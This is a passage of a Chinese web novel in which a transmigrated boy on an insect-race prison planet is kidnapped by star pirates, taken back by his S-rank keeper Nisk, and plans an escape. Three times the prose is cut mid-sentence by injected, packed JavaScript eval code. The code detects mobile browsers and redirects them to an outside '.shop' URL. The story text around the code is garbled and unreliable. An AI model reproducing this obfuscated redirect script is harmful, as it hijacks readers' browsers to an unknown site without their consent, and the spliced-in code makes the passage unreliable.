科尼尔长得跟怀特很像,他也是半虫化,不过触须却长在额头上,相比怀特的短了大半截,看来是源于他体内的胡峰基因,性格却并不像。 他沉默寡言,只有怀特叫他的时候,他会低低地应一声“雌父”。 当然,他也会尊敬地称呼钟鱼为“阁下”。 就这样,出门的第一天,钟鱼在这两大“保镖”的保护下,在附近街区逛了逛。 在垃圾星待了这么久,现在钟鱼已经能自动过滤掉大部分的交.配画面了。 看着前方的大树,他随口问科尼尔:“听怀特说你喜欢玩光脑,那上面有什么好玩的吗?” 科尼尔嘴巴动了动,“看直播。” 说完他又低下头去,额上的触须也跟着垂下。 怀特解释道:“科尼尔想参军,但是垃圾星的名额很少,所以科尼尔经常在光脑上看战场直播。” 这种直播钟鱼扫过几眼,那场面对他来说太过血腥了。 “科尼尔还这么小,将来有的是机会。” 钟鱼这时还不知道虫族社会对于低等级雌性的残酷,半虫化雌虫即便成为了军雌,在无数次战场中侥幸活了下来,也得不到应有的尊重。 正说着迎面走来一个极高的雌虫,他有着一头如火焰般的赤发和棕色的眼睛。 看出这人眼中的敌意,怀特警惕道:“你要干什么?” 来人轻蔑地看了眼他们头上的触须,嘴角扬起一个大大的笑容,似乎是笑得过于灿烂,牵扯到脸上还未完全恢复的伤口,他“嘶”了一声。 紧接着一把将钟鱼扯了过去,“小虫崽,你怎么在这儿?” 这人不知是什么等级,怀特和科尼尔毫无招架之力,更遑论钟鱼一个还没成年的雄虫了。 “你是谁?!”钟鱼伸手想要甩开他,却于事无补。 亚伯单手拎着他拿到眼前转了转,“看来你这些日子过得还不错。” 是那群星盗? 看了眼钟鱼头上的触须装饰,亚伯伸手弹了弹,揪着钟鱼的衣领将他甩到背上就往前方走去。 怀特连忙跑过来抢,可等级差异过大,亚伯一脚将怀特踢得撞在后边的大树上,旁边的科尼尔也被高等级威压压制得跪在地上无法动弹。 钟鱼这一刻才体会到了怀特之前说的,同样是虫族,可有的天生就是高等级,生来就有碾压其他虫族的能力,而有的生来就是低等级,甚至无法保持完全的人形状态,遇到高等级的雌虫只能这样任其宰割。 见怀特挣扎着站了起来,钟鱼害怕这家伙下死手,连忙喊道:“怀特,你别管我,先回去!” 他等级这么高,尼斯克不会不救他的,毕竟,尼斯克急切地想要回到中央星。 亚伯掂了掂背上的雄虫,说道:“胆子倒是大了不少。” 钟鱼顾不得搭理他,又朝怀特重复说了一遍。 远远的,钟鱼看见科尼尔艰难地站了起来,沉默地看着他。 他的目光悠远,良久才收回视线,跟着怀特走了回去。 很快,亚伯就将钟鱼带到了一间废弃的破屋子,他从身上撕下一块深色布料遮住他的眼睛。 钟鱼顺从的闭上眼睛,一路颠簸之后,他感觉自己被放置在一个沙发上。 “老大,你看我把谁给抓来了?” 钟鱼扯开布条,从沙发上坐了起来。 却正好看见对面那双浅灰色的眼睛。 这只雌虫长得没有抓他的这只高,却更加壮实一些,他的头发是金黄色的,在这昏黄的灯光下泛着柔和的光晕。 这两个看着等级都很高,至少,没有怀特那样的虫化特征。 钟鱼第一眼看到的是他浅灰色的眼睛和金黄色的头发,第二眼看到的却是他衣服下无可忽视的胸肌。 这胸肌很是漂亮,叫人难以移开视线。 “亚伯,你又干蠢事了。”他的嗓音格外低沉,更衬得面容冷峻。 他真的是星盗吗?一点儿也不像,反而像军雌。 原身是如何得罪这样一个有些冷漠的雌虫的呢? 亚伯一愣,走到钟鱼跟前,又将他提溜了起来,“老大,这么高等级的雄子,我们难道就这么放走了?” “他正好还有几年就成年了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509702|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候不就可以给你用来精神力疗愈吗?” 埃布尔没有否认这个,只是瞥了一眼钟鱼呆愣的表情,冷淡地说道:“不过是无用功,尼斯克是个疯子,谁知道他会干出些什么事来。” 亚伯将钟鱼扔回了沙发上,朝埃布尔走去,“老大,下次我们可就难抓到a级雄子了,尼斯克虽然是s级,可你又不是没跟他打过,不也没落下风吗?” “老大,你现在是a级瓶颈,很快就能晋升成s级了,有他在,哪还用担心晋升时失控狂暴?” 埃布尔从一旁架子上拿过大衣外套穿上,沉声道:“我毕竟还没晋升成功,虽然可以跟尼斯克打一打,可我们又不知道他的异能是什么,谁知道这疯子虫化起来会干出些什么疯狂事儿?” “亚伯,我们星舰上这么多虫,赌不起。” 听到这话,亚伯沉默下来。 s级的雌虫虫化起来可不是开玩笑的,尼斯克只有一只虫,就是死也全是赫尔斯的手下。 可他们不一样,星舰上的雌虫都是跟了他们十来年的伙伴,死一个都是损失。 过了片刻,他才咬牙说道:“我好不容易才找到机会将他抓过来,难道又要送回去吗?” “这么多天了,按尼斯克的性格,肯定已经测了小雄虫的基因等级了。尼斯克急于回到中央星,不会放过机会的,如果没有他……”说这话时,埃布尔隔着长桌看着钟鱼,“除非尼斯克晋升,不然他不知何时才能回到中央星了。” “可尼斯克已经是s级了,s级和s+不过相差一个等级,却犹如天堑,他又如何能晋升成功呢?”埃布尔轻声道。 整个虫族s级都很稀有,更遑论s+了。 要知道,现在总共都只有两只s+雌虫,一只在联邦身居要职,另一只便是虫帝。 这两个,只有联邦的艾伯特·荷温是天生的s+,虫帝是与s级雄虫缔结婚姻之后数年,通过雄虫的精神力才得以晋升成功的s+。 钟鱼虽然听得云里雾里,不过听到尼斯克会来救他之后,他就放心了。 看来眼前这个格外英俊的雌虫应该就是怀特口中的星盗首领埃布尔了。 虽然这人有着他梦寐以求的强壮身材和英俊的面容,还有这一头金黄色的头发,处处都符合他的审美,不过尼斯克应该还是比他安全很多。 钟鱼更愿意待在尼斯克身边,至少不会有性命之忧。 突然传来急促慌乱的脚步声,紧接着跑进来一只相貌普通的雌虫,他慌张道:“老大,来了几只雌虫,为首的好像是上次那个!” 埃布尔叹息一声:“亚伯,你看,尼克斯来了。” 亚伯颓丧地抓了抓赤红的发丝,发梢被他抓得垂在眉毛上,“他这些天不是在帮赫尔斯抢地盘吗?怎么来得这么快?” 埃布尔拍了拍亚伯的肩膀,率先走了出去。 路过沙发的时候,顺手将钟鱼提了起来。 见钟鱼一眼不眨地盯着自己瞧,埃布尔诧异道:“不过几日不见,就敢这么看我了?” 钟鱼闻言低下头去,胳膊被衣领拉扯得有些紧绷感,钟鱼轻微地扭动了几下。 埃布尔顿了顿,单手将瘦小的小雄虫抱在怀中。 靠在雌虫柔软的胸肌上,听着近在咫尺的心跳声,钟鱼愣愣地蜷缩在埃布尔的怀中,忘记了如何动弹。 5. 第 5 章 一踏出门,钟鱼就听到了尼斯克的声音。 “首领大人,我的小雄子很乖吧?”尼斯克的声音温和,语速放得很慢。 钟鱼闻言身体一僵,不过想到自己现在不过是一个小孩子,便也没有那么排斥了。 他反而想起了埋藏于记忆深处的话语。 “小鱼儿是不是最乖的?” “小鱼儿听话,快些从那儿钻出去,别怕摔,别回头。” 假使,假使他们真的只是把他当成小孩子。 埃布尔面无表情地将怀中的小雄崽子放了下来。 离了滚烫的怀抱,钟鱼乍一落地,只感觉有些冷飕飕的。 他愣愣地站在原地,一时不知何去何从。 理智告诉他,他没有任何自保能力,只能依靠尼斯克。 他应该激动地奔向他,可他没有。 尼斯克也不在意,他脸上挂着浅淡的笑容将钟鱼搂在怀里。 钟鱼缩在他的脖子下,感受到他胸膛的震颤,他听见他说:“小布莱斯,不要怕。” [宿主,主系统回复啦!]901总是喜欢模仿它印象中的人类。 [编号Z5024,您好,对于我处因工作失误给您造成的损失深表抱歉,我处已依任务系统法规接受相应的处罚,对于您提出的诉求,监察系统无权处理,故转交给我处。] [目前正值任务高峰期,编号Z5024如没有任务要求随意穿梭至其他世界,极有可能引发世界混乱,造成时空乱流。综合考虑,我处予以驳回,之后如能达成您的诉求,我处会开放相应权限给901基层任务系统。我处给您申请了相应补偿,即编号Z5024与901基层任务系统绑定期间,901基层任务系统的所有权限无条件对编号Z5024开放,祝愿您在此方虫族世界生活愉快!] 耳边环绕着901的声音,钟鱼恍惚回答:“嗯嗯,我不怕。” 亚伯站在埃布尔身侧,一头鲜艳的红发被抓得稀乱,他转而向尼斯克身后的雌虫说道:“赫尔斯,尼斯克迟早会离开这儿,而你,只能永远待在垃圾星。” 赫尔斯面皮抽了抽,脸颊上的甲壳在光线下,映照出铜绿色的光。 他知道亚伯是得罪不起尼斯克,拿他出气,他没有说话。 尼斯克一手搂着钟鱼,另一只手轻缓地拍着他瘦小的脊背,看着气定神闲。 他抬眼看了眼亚伯,轻蔑一笑,“我只要回到了赫利俄斯,那就想去哪儿就去哪儿了,跟从前一样。a级雄虫赫利俄斯有的是,可你家老大再厉害,也不敢抢那儿的雄虫啊。” 说完他乜斜着赫尔斯说道:“赫尔斯,你说同样是星盗出身,你家老大怎么就比不上亚伯的老大呢?若是亚伯……若是他们星舰上任何一个雌虫受伤了,我想埃布尔也不会狠心将他们丢在垃圾星自生自灭的。” “你说是不是啊,埃布尔?”尼斯克狭长的双眼微微眯起,笑得灿烂。 埃布尔不置可否,跨步挡在了亚伯前面。 看到这一幕,尼斯克朝赫尔斯挑了挑眉,赫尔斯低下头去,脸色青白。 “那就祝愿你早日回到中央星吧。”埃布尔语气平淡,说是祝愿,却毫无祝福神色。 尼斯克换了只手揽着布莱斯,叹了口气,担忧道:“埃布尔,我记得你还没二次分化吧?这么年轻就当了星盗首领,难怪亚伯急着给你到处抓雄虫,若不是他,我也就找不着小布莱斯了。” “只是这之后,怕是难抓到小布莱斯这样的高级雄子了,亚伯,你家老大要受些苦了,一不小心s级没晋升成反掉到了b级,若是那样的话,赫尔斯的老大可就要卷土重来了。” 这番话,尼斯克说得心花怒放,也不管对面这群星盗难看的脸色,抱着钟鱼就大摇大摆地走了。 嘴里还哼着调子,像是中央星那边时兴的童谣。 上了飞舰,见钟鱼不说话,尼斯克摸了摸钟鱼的脑袋,低声呢喃:“吓傻了?” 钟鱼扭头去看窗外,已经离得太远了,钟鱼只能看到一个红点。 是那个红头发的大高个。 钟鱼想象着自己是风筝,他又想着,他被抛弃了。 他对于方才的唇枪舌剑一点印象也没有,脑中一直在想着主系统那边的回复。 他会在虫族世界待多久呢? 怀特说虫族的寿命是300岁,不过那是以前性别差距没那么大的时候了,现在雄虫太少了,没有足够的精神力安抚,绝大多数雌虫都只活了不到两百岁就狂暴死亡了。 垃圾星的雌虫? 钟鱼记得怀特似乎是笑了一下,他说:“不止垃圾星的雌虫,而是除了中央星和联邦主星系的雌虫,连一百岁都活不到,大多数都撑不到狂暴,光战争、贫穷、自相残杀,这几样就够了。狂暴死亡是中高级雌虫才会考虑的事情,我们这样的低级雌虫只想着过一天算一天。” 那雄虫呢? “雄虫?”怀特不以为然地说道:“帝国和联邦的雄虫寿命普遍不高,他们就是好吃好喝的供着也活不到两百岁,我就是想不明白,雄虫又不会狂暴虫化,也不愁吃喝,还有数不尽的雌虫供他们挑选,更不用上战场,怎么就活不长呢?不过啊,相比一百年前,寿命是长了很多。” 为什么呢? “还能是为什么?”怀特滔滔不绝,“那时候雄虫全被中央星的那群大家族给圈养起来了,他们什么也不用干,每天就是吃饭和睡觉,可雄虫莫名其妙就死了一大堆,帝国没有办法,只能学习联邦的,迅速地修改法规,将雄虫保护起来了。” 看着天上的白云,钟鱼伸手去摸,他汗湿的指尖在上面滑出刺耳的“嘎吱”声,原来只是一层玻璃。 两百年,真是一个遥远的数字啊。 他无亲无故,确实没什么好留恋的了,只是家里的亲戚供养了他这么多年,没能得到任何回报,全白费了。 钟鱼收回视线,看向身旁的尼斯克,他问:“尼斯克,你什么时候能回到赫利俄斯呢?” 尼斯克一愣,显然没有意料到沉默这么久的小雄虫会问他这个问题。 “风波还没平息,雌父说让我再等两年,到时候你也快要成年了,我可以先带你在赫利俄斯好好玩玩。那儿有很多美味的东西,还有漂亮衣服,你还可以跟那儿的高级雄虫聚会,小布莱斯,你一定会喜欢的。” 钟鱼听得神往。 可他心里清楚,自己决不能去中央星,一个垃圾星就出不去,不敢想身为权利中心的赫利俄斯会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509703|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是何等守备森严。 钟鱼故作惆怅道:“可是离开这儿需要通行证,我听说这东西很难弄到手。” 尼斯克安抚地拍了拍钟鱼的肩膀,“小布莱斯,不用担心这个,通行证我随时都能弄到,只是现在这么多眼睛盯着,我离开不了垃圾星。” 钟鱼感受到被注视,他偏头去看,原来是赫尔斯。 这些天,他很少听到赫尔斯说话,他总是阴沉沉地盯着他看。 也许是他脸上的甲壳给了他错觉,钟鱼心道。 方才他恍惚听见了赫尔斯的名字,他们不知道在说些什么。 也是后来钟鱼才从索尼克口中得知,原来赫尔斯以前也是星盗,只是因为一次冲突,中了蜂毒又受了重伤,等级下降成了半虫化状态,那伙星盗就将完全虫化的赫尔斯就近扔在了垃圾星。 没想到赫尔斯竟然活了下来,还在垃圾星有了立足之地,所以他和怀特开始跟着他生存。 这钟鱼倒是没能料到,而且,赫尔斯给他的感觉跟埃布尔他们不一样。 赫尔斯阴晴不定,太难以捉摸了。 也只有在尼斯克绝对的实力下,才敢放心用他。 经此之后,钟鱼本来以为自己又会被关起来了。 没想到尼斯克还是准许他出门,只是大多数情况下,他都得跟着尼斯克才能出门。 回去之后钟鱼就很少看到科尼尔了,偶然遇见怀特,问起科尼尔,怀特神色萎靡,说科尼尔最近发了疯的训练。 想是要准备入伍了吧? 钟鱼失去了唯一的“玩伴”,即便他们只玩了半天,连话都没有说上几句。 时光飞逝,短短两年,钟鱼跟着尼斯克跑遍了垃圾星的每个角落,他无数次地感叹,尼斯克怎么会这么厉害! 有几次他问尼斯克,“你这么厉害,怎么会来这儿呢?” 尼斯克少见的没有笑容,他只是随口说道:“犯了点事儿,家族也处理不了,只能来这儿避避风头。” 什么样的事儿能将一只罕见的s级雌虫赶到垃圾星来呢? 这几年,钟鱼渐渐与尼斯克熟络了起来。 钟鱼想,只要尼斯克愿意,他能跟任何人熟络起来,尼斯克就是这样无所不能。 他有着赏心悦目的长相和身材,又有着温和的笑容和无法匹敌的基因等级,跟在尼斯克身边,钟鱼仿佛只是一个普通的虫族,不用有任何的担忧。 一次傍晚,天际一片橙黄,街边高大的树干在夕阳下拉长了斑驳的影子,他们俩一大一小地踩在细长影子搭就的摇篮中。 钟鱼问尼斯克:“我听说s级会拥有一种异能,那……尼斯克,你的异能是什么呢?” 你会告诉我吗? 钟鱼以为尼斯克会跟上次一样含糊,没想到尼斯克却当场给他演示了他的异能。 尼斯克低头看着他,他慢慢弯下腰,双手轻轻揽住钟鱼。 不过一瞬间,钟鱼都还没来得及眨眼,他们就回到了房子里。 尼斯克将钟鱼放在了柔软的床榻上,钟鱼眨了眨眼睛,回忆着方才的风声。 他张着嘴巴看着床边的人,尼斯克拍了拍他的额头,“这就是我的异能,小布莱斯,除了雌父,只有你知道。” 6. 第 6 章 这个世界情感匮乏,不,应当是说情感被刻意隐藏了。 不管是亲情、友情还是爱情。 这是钟鱼早已猜到的情况,只是当时他以为是前者,以为虫族真如官方所显示的那样,只知道繁衍与杀戮。 可这几年的相处,钟鱼从这铁皮的缝隙中瞥见一丝丝烛光。 对于布莱尔对部下的维护,尼斯克很不以为然,甚至是不屑一顾。 他说:“得了吧,小布莱斯,不说垃圾星,便是整个帝国、联邦,谁不知道星盗是个什么玩意儿?埃布尔未成年就打败菲斯,让他们星舰成为全星际最厉害的星盗团,靠的可不单单是基因等级。” “小布莱斯,你可不要被他那副模样给骗了,一见到他就成了雕塑了,”说到这里时,尼斯克哂笑一声:“埃布尔靠的就是这招数将星盗团壮大的,不这样违背本能的去模仿远古人类的东西,他这样一个平民出身的蛾族又如何能让他们死心塌地呢?” “那红毛绿蝗族不就这样吗?你也瞧见了,他恨不得为他埃布尔死千千万万次。” 这是钟鱼第一次在虫族听到人类的消息,即便滞后了数亿年。 这个世界的人类早已成了历史,就连文化遗留都少有。 钟鱼几乎有些心惊,他尽力掩饰自己对人类的关心,即便他猜测可能只有尼斯克这样出身高贵的虫族才可能知道有关人类的零星讯息。 尼斯克太过聪明狡猾,他将钟鱼看透,还想透过肌理、骨骼看到他的灵魂,而钟鱼无法从他那张笑脸下看出任何东西,即便他知道了尼斯克的异能。 钟鱼低声回答,像是辩解,“不管怎样,不同的生命相处那么久,又怎么会没有一点真心呢?” “真心?”尼斯克又重复念了一遍,似乎是感到困惑,“心脏当然都是真的,就是那伙异兽都没有假的心脏。” 钟鱼诧异尼斯克的回答,转而他又有些理解了,他指了指心口温声解释道:“是心脏,但不单单只是心脏,是心脏中包含的情感。” 尼斯克直勾勾地盯着钟鱼的手指,太过专注让他浅棕色的瞳孔变作一个小点,让钟鱼想起了他的种族。 怀特说尼斯克是螳螂族的,那尼斯克是螳螂族里的哪一种呢? “情感……”尼斯克似懂非懂,他难得沉默,朝钟鱼跨步走来,却平地跌了一个踉跄。 钟鱼惊了一跳,下意识地去扶,也许是这种全是眼白给他带来的错觉,他竟然以为尼斯克视力不好才差点摔了。 搀扶间,尼斯克还未站直便伸出手指去触摸钟鱼的胸口,在这心跳声中,钟鱼感到些微的刺痛,他稍稍后退。 钟鱼肯定地说道:“对,情感!就是对一个死物也会有情感的,也可以说是感情,像你送给我的那个亚雌装饰,我戴了那么久若是坏掉了我也会有一点点不舒服,更别说有生命的东西了。” 尼斯克面无表情地敛下眼眸。 钟鱼罕见地感受到了尼斯克的情绪,他不开心,难道是因为他的反驳,尼斯克认为他偏向埃布尔吗? 后面如何,尼斯克又是怎么离开的,钟鱼也忘记了,因为这是两年前的事儿了。 这两年发生了不少事情,其中之一让怀特很难过。 索尼克死了。 钟鱼其实对索尼克没有太多印象,除了最开始几天,之后他很少见到他。 直到这时,他回想起来,还是只能想起索尼克虫化的左眼和怀特一声声的“尼克”。 还有他死前生下的那枚虫蛋。 那是一只亚雌,孵化后怀特给他取名为尼克。 这些事儿钟鱼还是很久才知道的,那时候尼克已经半岁了。 在此期间怀特生病了,虽然赫尔斯他们都说他是中了诅咒,被异兽扰乱神经了。 可钟鱼从科尼尔口中得知索尼克的死亡之后,却知道怀特确确实实是因为过于伤心,身体跟着病了。 钟鱼不明白,他们宁愿去相信诅咒、异兽附体这样荒诞的事情,也不愿意相信怀特只是单纯的病了。 或许……他们只是从未想过这世界上有情感的存在。 不管是爱情、友情甚至最为常见的亲情。 钟鱼拒绝了尼斯克的出行邀请,跑去探望怀特。 这时候怀特已经痊愈了,似乎是对钟鱼的到来感到震惊,他那对扰人的触须又开始打架了。 他连忙放下怀中的小虫崽,仍旧憨笑着说道:“布……阁下,你怎么过来了?” 这大半年的时间,因为他总跟着尼斯克外出的缘故,怀特早就不在他身边了。 怀特有些忐忑,钟鱼能感觉到。 “怀特,我听科尼尔说你不太好,所以来看看你。” 这段日子,相比怀特,他与科尼尔倒是还有些来往。 怀特肉眼可见的欣喜,他说:“阁下,您还记得我……” 钟鱼有些纳罕,随后才意识到已经过去了这么久了,在此期间,他与怀特很少说话。 “怎么又这样称呼我了?叫我的名字就行,”钟鱼看着亚雌宝宝,微微一笑,“怀特,你好些了吗?” 怀特一愣,只顾着点头:“那怪物把我脑袋抓了一下,可能是中了毒,不过现在已经好了。” 说这话时,怀特指着脸上蔓延至后颈的抓痕给钟鱼看。 怀特闷闷不乐:“不过尼……索尼克被那玩意儿撕成两半了,异兽怎么就跑到垃圾星边境来了……” 怀特自顾自地嘟囔、埋怨,钟鱼只是沉默地坐在一旁,时不时伸出食指逗逗小虫崽。 “尼克总是这样,之前怀着蛋到处玩亚雌,虽然流了不少虫蛋,不过没生下来总还能去领,只是程序麻烦一点。” 小虫崽听到熟悉的字眼,咿咿呀呀地看着怀特。 “尼克,我是在说你雌父,”怀特叹息道:“索尼克。” “之前总听他们说异兽抓的伤口疼得很,他们果然没骗我,现在就是结痂了还是痛死了。”怀特嘟囔道:“也不知道尼克疼不疼,不过尼克向来很能忍痛。” 小尼克眼睫扑闪,伸手攥住钟鱼的食指。他身上并没有虫化的特征,看来等级还可以。 “小尼克过几天得送到养育机构去,尼克的基因等级本来就比我高,只是二次分化的时候下降了。难怪小尼克不像科尼尔一样半虫化,可惜是只亚雌。” 亚雌就更要离开垃圾星了。 “当初尼克刚刚二次分化, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509704|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带着我找到了赫尔斯,之后我们就一直跟着赫尔斯。” “赫尔斯脾气不好,尼克也是,尼克总是骂我,跟别的雌虫打架的时候也总让我挡在前头,我以为这次也会是这样。” 不知何时,怀特头上的触须垂了下来,耷拉在前额。 “赫尔斯他们都说我中了诅咒,不过我觉得是中毒了,赫尔斯手上也被抓了一下,可很快就恢复了,我伤的是脑袋,肯定要严重一些,毒素影响我的大脑了。”怀特拍了下后脑勺,问道:“布莱斯,你说是不是?” 钟鱼很难描述自己当时的感受,那让他短暂的忘却了“荒诞”这个词语。 我记得他当时点了点头,附和着说道:“应该是这样的,再过段时间就好了。” 毕竟,时间是最好的解药。 怀特已经失去了他最重要的朋友,他想,他不需要再让他意识到这种情感,然后徒增伤悲了。 没过几天,尼克就被养育机构的人领走了,怀特依依不舍,却只是站在墙边看着他们抱着小虫崽离去。 垃圾星是一座关满低等级雌虫的监狱,他们在牢笼中静待死期,在等待中创造更多的囚犯。 这里最大的用处便是战争的第二道防线,在异兽潮到来时,用血肉喂饱异兽的肚子,免得赫利俄斯星系上的虫族遭受惊扰。 这段时日尼斯克心情很是烦躁,他一直传讯息给中央星,不知收到了什么回信,总归不太好。 短时间内,尼斯克回不了中央星了。 钟鱼已经进入亚成年状态,若是再等下去,他便只能在垃圾星二次分化了。 钟鱼的直觉告诉他,这很危险。 这两年他也明白了,尼斯克根本就没有通行证,他回中央星根本就不需要通行证。 只是不知是忌惮什么,尼斯克要经过他雌父的许可才能回去。 去找尼斯克时,钟鱼在窗边听到了只言片语。 这两年,他的听力越来越好,可能是跟他的等级有关,跟着光脑上的视频,他甚至学会了怎么操控精神力。 虽然现在他的精神力还很薄弱。 “又是两年?你每次都这样跟我说!”尼斯克情绪有些失控。 “我可是s级!雌父不是一直都为我感到骄傲吗?难道要因为那几个a级军雌,让我一直待在这鬼地方吗?!” “保持冷静,尼斯克,”视频那头的雌虫声音清朗,“陛下没有松口,我也无可奈何。” “要等那只小雄虫成年太久了,虽然是a级,可谁也不能保证他二次分化的时候等级不会下跌。一旦等级下降成了b级,那可就成了无用功了,b级的雄虫在赫利俄斯可不是一个好的筹码。”这声音停顿了一下,过了一会儿才再次响起,“你不是有晋级的苗头了吗?等他成年你还不如好好想想怎么提升等级。” “哈?晋级?”钟鱼能想象出尼斯克此刻的表情,“这鬼地方连只成年雄虫都没有,没有精神力安抚,我都要陷入狂暴了,您让我用什么晋级呢?” “用那些低等级的亚雌吗?” 过了一会儿,尼斯克似乎是想到什么,他低声说道:“雌父,听说您新拍了两只b级雄虫,何不送一个到垃圾星来?” 7. 第 7 章 后面的话钟鱼没能听清,不过之后他都未能见到其他雄虫,证明尼斯克的要求被拒绝了。 钟鱼感到不快乐。 他已经在这儿待了两年了,这于他而言,不是一个很短的数字。 可他迫切地想要离开这里,又清楚地知道主系统每次的回复都只是推诿,他无能为力。 901不过是个基层任务系统,并没有多少权限。 诸多权限中,最有用的竟然是短暂“屏蔽感知”,这个可以让他死的时候少点疼痛。 当然还有一个,就是隐藏ip,据901所说,可以让他在光脑上发言时隐藏他的定位,虽然这两年他只偶尔登录光脑,且从未发表过任何东西。 在钟鱼的两年来的坚持不懈地投诉下,主系统给901的隐藏权限给升级了,升级过后能隐藏宿主的性别,这个若是在其他世界确实鸡肋,不过对身处雌多雄少的虫族世界的钟鱼而言,却是一个大大的金手指。 他已经在暗中计划了,中央星是决不能去的,他必须得在尼斯克带他去中央星之前离开他。 离开之后他就让901给他隐藏性别,扮作亚雌,之后他就以亚雌的身份生存,当然还是得离开垃圾星。 不然也不过是从一个火坑跳到另一个火坑。 只是该怎么安全离开这儿却不被尼斯克抓到呢? 他出门只能跟着尼斯克,房子里又守了很多强壮的雌虫,靠蛮力他绝无法逃脱。 除非用精神力。 可他虽然是a级,因为没有成年,精神力怎么练都无法太过精进。 若是用精神力攻击,的确有些威力,他之前在树下试过,还不小心打到怀特身上了。 记得怀特当时直接晕过去了。 虽然只晕了几分钟。 他只有一次机会,如果失败了,尼斯克绝对会对他严防死守,甚至提前将他送往中央星,所以他决不能失败。 至于为什么不试探一下尼斯克,看他会不会直接放他走。 说实话,开始的时候钟鱼是有想过的,可这两年认识到他们对雄虫的疯狂与渴求之后,他就打消了这个念头。 他甚至不敢表露出一丝不喜欢这里的表情,他安然的当着一只可爱乖巧的宠物。 时隔半月,钟鱼再一次见到了科尼尔。 破天荒的,科尼尔主动走到了他的窗前。 钟鱼听到叩击声,紧接着是一道闷闷的声音,“阁下,我是科尼尔。” 钟鱼连忙收回运作精神力的手指,穿着拖鞋跑过去推开了窗子。 “科尼尔?你怎么在这儿?”钟鱼想要去开门,科尼尔叫住了他。 “阁下,我跟你说几句话就走。” 窗下的地势低洼,钟鱼头一次平视科尼尔这双黑色的眼睛。 他的睫毛直直的垂在眼睑,又短又密。 见科尼尔只是看着他却不说话,钟鱼只得开口问道:“科尼尔,怀特最近怎么样?” “他很好,”窗外的雌虫低着头说道:“我要离开这儿了。” “为什么?你不是要去参军吗?” 科尼尔点了点头,“第一次分化等级提升了一些,所以我被破格录取了。” 钟鱼为怀特感到高兴,可又想着怀特本来就有些话痨,虽然平时都是他说科尼尔听,也总归是个陪伴。 科尼尔被录取意味着他不久就会跟着军队离开垃圾星。 自从上次之后,钟鱼再未跟怀特说过话,少有的几次见面也都行色匆匆。 这一年多以来,怀特成熟了许多,钟鱼很少听到赫尔斯责骂他了。 钟鱼几乎要忘记怀特的模样了,科尼尔唯一与怀特相似的地方就是那头亚麻色的短发和额前的触须。 如今科尼尔的触须不见了,看着帅气了不少,虽然年纪很小,却与成年雌虫看不出什么分别。 只能偶尔在他黑色的眼睛中看出少许稚嫩。 钟鱼脑中乱糟糟的,嘴上挂着笑意,说着:“恭喜你,科尼尔,你终于可以离开这儿了,怀特一定高兴疯了。” 科尼尔愣了一下,才扯了扯嘴角,似乎是想跟着笑,可这笑容看起来很是僵硬,他最终放弃了。 只是低声说道:“阁下,您也为我感到高兴吗?” 钟鱼点点头,他当然为科尼尔感到高兴,只是他现在前路渺茫,难免有些怅然。 “再等几年,”科尼尔停顿了片刻,“如果得虫神庇佑,我没有死在战场上。我一定会去中央星的。” 其他雌虫的孩子都大了,只有怀特的孩子这么小,科尼尔难得遇上他这个年龄相仿的。 虽然他是个雄虫,但在科尼尔心中,或许还能算作是半个朋友。 钟鱼模仿着虫族的祈祷方式,中指搭在食指上,轻轻地拍了拍科尼尔平直的额头。 感受着手下冰冷的触感,这让钟鱼想起恒温动物,只是没有鳞片的触感。 他闭着眼睛诚心祝愿:“你一定会在战场上活下来的,科尼尔。” 科尼尔睁着眼睛愣愣地看着近在咫尺的手指,雄虫阁下的指尖温温的,不知是不是因为闷热,他感觉被触碰到的皮肤有些濡湿。 科尼尔自小就很会察言观色,他能从布莱斯温和的面容下看到忧伤,可他无能为力。 这些年,他在训练的间隙中,常常思考布莱斯阁下为何会感到忧伤,直至如今,他仍是想不明白。 明明那么多雌虫甚至雄虫都挤破脑袋想去中央星,而身为a级的布莱斯唾手可得,他的未来一片光明。 a级的雄虫阁下注定属于中央星的大家族,甚至是皇亲国戚。 可布莱斯并不为此感到高兴,他只最开始时在他雌父面前显露过。 科尼尔记得布莱斯阁下当时低声嘟囔“我不想去中央星,可也不想待在垃圾星”。 科尼尔虽然不明白,但他试图理解。 虽然还是失败了。 就这样科尼尔带着雄虫阁下的祝福走了,走了两步,他突然折返朝着钟鱼的背影低声呢喃:“阁下,我不明白。不过……我希望您能如愿,再次见到阁下之前,我会每日向虫神祈祷,祈祷阁下得偿所愿。” 钟鱼的背影僵在原地。 科尼尔的声音放得很低,可他低估了a级雄虫的耳力。 诚如怀特 